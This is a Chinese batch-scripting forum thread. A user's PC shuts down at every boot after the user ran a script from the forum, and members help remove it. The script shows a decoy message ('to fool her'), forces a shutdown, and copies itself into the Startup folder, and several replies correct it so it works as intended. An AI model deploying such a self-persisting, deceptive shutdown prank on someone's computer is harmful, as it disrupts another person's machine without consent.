[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] [已解决]运行定时关机的批处理之后如何解决限制?

用了本论坛的有人回帖中的一段代码,我的电脑中招了,
开机后见到桌面就关机,一直是这样,见到桌面就关机.
当然,那段代码保存的bat命令,见到桌面就运行,然后关机,一直这样搞得我很疲惫
这段代码是我在一个版主的主题帖《不止是蛋疼[有感于某些新人的求助]》的25楼的回帖中见到的,就复制下来试了试,结果就这样了






求高手帮助解决一下,就是这个图片中的代码,关机!!

真不好意思,怪我手jian~~~又给大虾们找麻烦了~~~~~~谢谢大侠们!!!!
1

评分人数

    • zm900612: 感谢给帖子标题标注[已解决]字样PB + 2

本帖最后由 zm900612 于 2011-7-6 18:30 编辑

开机时按住shift键不放,进入桌面后运行:
  1. cd /d "%userprofile%\「开始」菜单\程序\启动\"
  2. for /f "delims=" %%a in ('findstr /m /i shutdown *.cmd^&findstr /m /i shutdown *.bat') do del /f "%%a"
复制代码
有点问题,改一下

TOP

斑竹~~~我试试啊

TOP

本帖最后由 mxxcgzxxx 于 2011-7-6 18:40 编辑

主要是程序中的一句出错了
在比较时间大小时,他使用了“6:00”,
这是错的,所以所有时间都执行关机命令,
因为比较时间是进从第一位开始的,00~24没有一个小时的第一位比6大
应该写成“06:00”就可以正常了

这个程序是开机时如果时间是在00:00~06:00之间就关机
1

评分人数

世界上没有学不会的知识,也没有想得到却做不到的事!

TOP

900621斑竹的方法基本可以解决问题,
不过每次开机见桌面就得赶紧按住shift键,然后运行斑竹的代码。要不然就得关机。
我在程序的启动里,见到有这个东西,就把它删除了,不知道再开机还会不会自启动,简直就是个病毒!!!!
我在QQ群里有人说把那段代码中的一段,改为以下内容,就可以解决所有时间都关机的问题,不知道对不对??!!
是4楼说的对,还是我在QQ里人说的对?!求解??

if %time% geq 0:00 if "%time%" leq " 6:00"



在此谢谢600921斑竹!!!!

TOP

4楼代码是删除启动文件夹中含有 shutdown 的 bat 或者 cmd 文件,而那个是把原有脚本的 bug 给改了
至于按住 shift...那是系统默认的跳过开始菜单启动项的快捷键,而不是批处理的内容

TOP

本帖最后由 亲临 于 2011-7-7 09:58 编辑
  1. @echo off
  2. msg * baby,早睡早起身体好。
  3. rem 迷惑她,让她以为你发这个就是为说这句话的。
  4. net start Schedule
  5. if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
  6. cls
  7. copy %0  "%userprofile%\「开始」菜单\程序\启动"
  8. pause
复制代码
把这段代码改成正确的0——6点关机应该怎样改?
呵呵,斑竹我不懂代码的,能不能帮我改好了发上来。
哦,您要是时间紧就不麻烦了您了。
谢谢!!!
我最初提出的问题已经解决了,有点得寸进尺了,不好意思啊,呵呵
1

评分人数

    • zm900612: 请把超过一行的代码用code括起来PB -2

TOP

  1. @echo off
  2. msg * baby,早睡早起身体好。
  3. rem 迷惑她,让她以为你发这个就是为说这句话的。
  4. net start Schedule
  5. if %time% geq 0:00 if %time% leq 06:00 shutdown /s /t 0
  6. cls
  7. copy %0  "%userprofile%\「开始」菜单\程序\启动"
  8. pause
复制代码
1

评分人数

世界上没有学不会的知识,也没有想得到却做不到的事!

TOP

本帖最后由 zm900612 于 2011-7-6 20:53 编辑

8楼方案没有考虑到早上7、8、9点的情况,空格依然比0小的
  1. @echo off
  2. msg * baby,早睡早起身体好。
  3. rem 迷惑她,让她以为你发这个就是为说这句话的。
  4. net start Schedule
  5. if %time% geq 0 if "%time%" leq " 6" shutdown /s /t 0
  6. cls
  7. copy %0  "%userprofile%\「开始」菜单\程序\启动"
  8. pause
复制代码
1

评分人数

    • 亲临: 有劳费心了技术 + 1

TOP

呵呵,被斑竹扣了两个PB,及时改正!!
发在7楼的那段代码,我已经按照论坛要求,用那什么括了起来,以便他人复制。

另外,我给九楼加分后,想再给8楼加分却不能??
我们小列兵每天给的加分数量是不是太少了啊??!!

TOP

呵呵,被斑竹扣了两个PB,及时改正!!
发在7楼的那段代码,我已经按照论坛要求,用那什么括了起来,以便他人复制。

另外,我给九楼加分后,想再给8楼加分却不能??
我们小列兵每天给的加分数量是不是太少了啊??!!

TOP

不好意思,一个0之差,害你上不了机……
我在这里向你道歉

TOP

9# zm900612
8楼方案没有考虑到早上7、8、9点的情况,空格依然比0小的——这是什么意思?哪里来的空格
07:00
09:00

TOP

9# zm900612
你的代码不对,%time%的值一般类似这样
  1. C:\Users\helloworld\Desktop>echo %time%
  2. 17:36:33.27
复制代码
  1. C:\Users\helloworld\Desktop>if "05:59:33.29" geq " 6" echo hello
  2. hello
复制代码
  1. C:\Users\helloworld\Desktop>if "05:59:33.29" leq " 6" echo hello
复制代码
时间并没有正确判断。
利用%time%的关键是 : 符号在比较数值大小中究竟有没有起作用,起什么作用。
  1. @echo off
  2. :hello
  3. cls
  4. echo %time%
  5. set /p a=输入数值:
  6. if %time% gtr %a% echo %time%^>%a%
  7. if %time% equ %a% echo %time%^=%a%
  8. if %time% lss %a% echo %time%^<%a%
  9. pause
  10. goto hello
复制代码
初步验证似乎是起到小数点的作用。
1

评分人数

TOP

14# Hello123World


我这里 10 点之前的 %time% 是以空格为前缀,而非数字 0

TOP

返回列表